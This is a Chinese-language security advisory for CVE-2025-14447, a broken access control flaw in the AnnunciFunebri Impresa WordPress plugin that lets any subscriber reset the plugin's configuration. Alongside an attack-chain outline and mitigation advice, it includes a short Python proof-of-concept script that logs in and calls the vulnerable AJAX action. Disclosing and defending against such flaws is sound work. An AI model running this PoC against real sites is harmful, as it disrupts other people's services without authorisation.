IPBUF安全漏洞报告
English
CVE-2025-14447 CVSS 4.3 中危

CVE-2025-14447 WordPress AnnunciFunebri插件权限绕过漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-14447
漏洞类型
权限绕过/越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AnnunciFunebri Impresa WordPress插件

相关标签

CVE-2025-14447WordPress插件漏洞权限控制缺陷AnnunciFunebriBroken Access ControlOWASP A01配置重置中危漏洞

漏洞概述

AnnunciFunebri Impresa是WordPress的一个殡葬服务公告管理插件。该插件在4.7.0及之前版本中存在严重的权限控制缺陷。其annfu_reset_options()函数未进行适当的权限验证,允许任何已认证用户(即使是最低权限的Subscriber角色)调用该函数。此函数会删除并重置插件的所有29个配置选项,导致插件恢复到默认状态。攻击者可利用此漏洞破坏网站配置,造成服务中断,或为后续攻击做准备。由于该函数直接操作数据库且无需CSRF token验证,攻击门槛较低。

技术细节

漏洞根源于annfu_reset_options()函数缺少current_user_can()或同等权限检查机制。函数位于functions.inc.php第845行附近,可被任何认证用户通过HTTP请求直接调用。调用该函数将触发数据库操作,清空wp_options表中所有以annfu_为前缀的插件配置项。攻击者只需拥有WordPress订阅者账户即可利用,且无需任何用户交互。该漏洞属于OWASP Top 10中的A01:2021 Broken Access Control类别。

攻击链分析

STEP 1
侦察
攻击者识别目标WordPress网站并确认安装了AnnunciFunebri Impresa插件
STEP 2
获取访问权限
攻击者注册为WordPress订阅者或利用已有的低权限账户
STEP 3
构造恶意请求
攻击者构造针对annfu_reset_options()函数的AJAX请求
STEP 4
执行攻击
通过发送未授权请求触发数据库操作,重置所有插件配置
STEP 5
达成目的
插件配置被清空,服务功能受损,可能导致网站业务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from bs4 import BeautifulSoup # 目标URL target_url = "http://target-wordpress-site.com" # 认证信息 username = "subscriber_user" password = "password123" # 登录获取cookie session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # 直接调用漏洞函数 reset_url = f"{target_url}/wp-admin/admin-ajax.php?action=annfu_reset_options" session.get(reset_url) print("插件配置已重置")

影响范围

AnnunciFunebri Impresa WordPress插件 < 4.7.1

防御指南

临时缓解措施
立即升级插件到4.7.1版本;若暂无法升级,可暂时禁用该插件或移除订阅者创建功能;同时监控wp_options表中的annfu_前缀选项变更记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表